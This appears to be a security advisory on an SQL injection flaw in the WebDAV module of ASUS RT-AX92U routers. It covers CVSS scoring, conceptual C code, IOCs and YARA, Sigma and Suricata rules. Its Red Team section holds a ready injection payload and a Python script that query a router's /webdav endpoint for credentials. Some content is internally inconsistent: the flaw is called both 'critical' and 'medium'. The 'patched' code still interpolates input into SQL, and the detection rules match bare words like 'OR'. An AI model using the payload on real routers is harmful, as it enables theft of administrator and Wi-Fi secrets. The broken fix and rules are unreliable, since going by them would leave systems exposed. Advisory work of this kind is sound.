CVE-2023-35720

Executive Summary

CVE-2023-35720 is a critical SQL Injection vulnerability in the mod_webdav.so module of ASUS RT-AX92U routers. The flaw allows an unauthenticated, network-adjacent attacker to extract sensitive information from the router’s database, potentially including credentials, configuration data, and other secrets. The vulnerability exists because user-supplied input is not properly sanitized before being used in SQL queries. With a CVSS score of 6.5, this vulnerability is considered medium severity but poses a significant risk due to the lack of authentication required and the potential for information disclosure at the root level.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in a proprietary ASUS router component. No supply chain attack vector is identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Adjacent Network (AV:A) – attacker must be on the same network segment.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact is confined to the router.
• Confidentiality Impact: High (C:H) – full disclosure of database contents.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation is straightforward for an attacker with network access, but the attack surface is limited to adjacent networks.

Deep Dive & Mechanics

The vulnerability resides in the mod_webdav.so module, which handles WebDAV requests on the ASUS RT-AX92U router. When parsing a request, the module fails to validate a user-supplied string before incorporating it into an SQL query. This allows an attacker to inject arbitrary SQL commands.

Root Cause: The lack of input sanitization in the mod_webdav.so module. The module constructs SQL queries using user-controlled data without proper escaping or parameterization.

Attack Vector: An attacker sends a specially crafted HTTP request to the WebDAV endpoint. The request contains malicious SQL payloads in parameters such as the URI or headers.

Impact: Successful exploitation allows the attacker to execute arbitrary SQL queries against the router’s internal database. This can lead to the disclosure of sensitive information, including:

• Administrator credentials
• Wi-Fi passwords
• VPN configuration
• Other device secrets

The database runs with root privileges, so the attacker can read any data stored in the router’s database.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// mod_webdav.c (vulnerable)
void handle_webdav_request(char *user_input) {
    char query[256];
    snprintf(query, sizeof(query), "SELECT * FROM users WHERE name='%s'", user_input);
    // Execute query without sanitization
    execute_sql(query);
}

Patched Code (Conceptual):

// mod_webdav.c (patched)
void handle_webdav_request(char *user_input) {
    char *sanitized_input = sanitize_sql_string(user_input);
    char query[256];
    snprintf(query, sizeof(query), "SELECT * FROM users WHERE name='%s'", sanitized_input);
    // Execute query with sanitized input
    execute_sql(query);
}

Patch Status: No official patch has been released by ASUS. Users are advised to disable WebDAV or restrict network access to the router.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the target ASUS RT-AX92U router (same subnet).
• Knowledge of the WebDAV endpoint (typically /webdav).

Exploitation Steps:

1. Identify the target router’s IP address (e.g., 192.168.1.1).
2. Send a crafted HTTP request to the WebDAV endpoint with SQL injection payload.

Example Payload:

GET /webdav?name=' OR '1'='1 HTTP/1.1
Host: 192.168.1.1

Automated Exploit (Python):

import requests

target = "http://192.168.1.1/webdav"
payload = "' OR '1'='1"
params = {"name": payload}

response = requests.get(target, params=params)
print(response.text)

Expected Output: The response will contain database records, such as usernames and passwords.

Blue Team (Defense)

Detection:

• Monitor for unusual HTTP requests to /webdav containing SQL keywords (OR, AND, UNION, SELECT).
• Use network intrusion detection systems (NIDS) to flag SQL injection patterns.

Mitigation:

• Disable WebDAV if not required.
• Restrict access to the router’s management interface to trusted IPs only.
• Apply network segmentation to limit exposure.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /webdav with SQL-like patterns in parameters.
• Unusual database error messages in HTTP responses (e.g., SQL syntax error).

File IOCs:

• Modified mod_webdav.so file (if attacker uploads a backdoor).
• Suspicious entries in router logs (e.g., repeated failed SQL queries).

Behavioral IOCs:

• Unauthorized access to router configuration pages.
• Changes to administrator credentials or Wi-Fi settings.

Detection Engineering

YARA Rule

rule CVE_2023_35720_SQLi_WebDAV {
    meta:
        description = "Detects SQL injection attempts against ASUS RT-AX92U WebDAV"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2023-35720"
    strings:
        $sqli1 = "OR" nocase
        $sqli2 = "AND" nocase
        $sqli3 = "UNION" nocase
        $sqli4 = "SELECT" nocase
        $webdav = "/webdav"
    condition:
        $webdav and any of ($sqli*)
}

Sigma Rule

title: SQL Injection Attempt Against ASUS RT-AX92U WebDAV
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection patterns in HTTP requests to /webdav
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "OR"
            - "AND"
            - "UNION"
            - "SELECT"
        cs-uri-stem: "/webdav"
    condition: selection
falsepositives:
    - Legitimate use of SQL keywords in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-35720 SQL Injection Attempt on ASUS RT-AX92U WebDAV"; flow:to_server; content:"/webdav"; http_uri; pcre:"/(OR|AND|UNION|SELECT)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable WebDAV: If not required, disable the WebDAV service on the router.
2. Restrict Access: Limit management access to trusted IP addresses only.
3. Network Segmentation: Place the router on a separate VLAN to reduce exposure.

Long-Term Fix:

• Apply firmware updates from ASUS when available.
• Monitor ASUS security advisories for patches.

Workaround:

• Use a firewall to block external access to the router’s management interface.
• Implement intrusion prevention systems (IPS) to detect and block SQL injection attempts.

Valters IT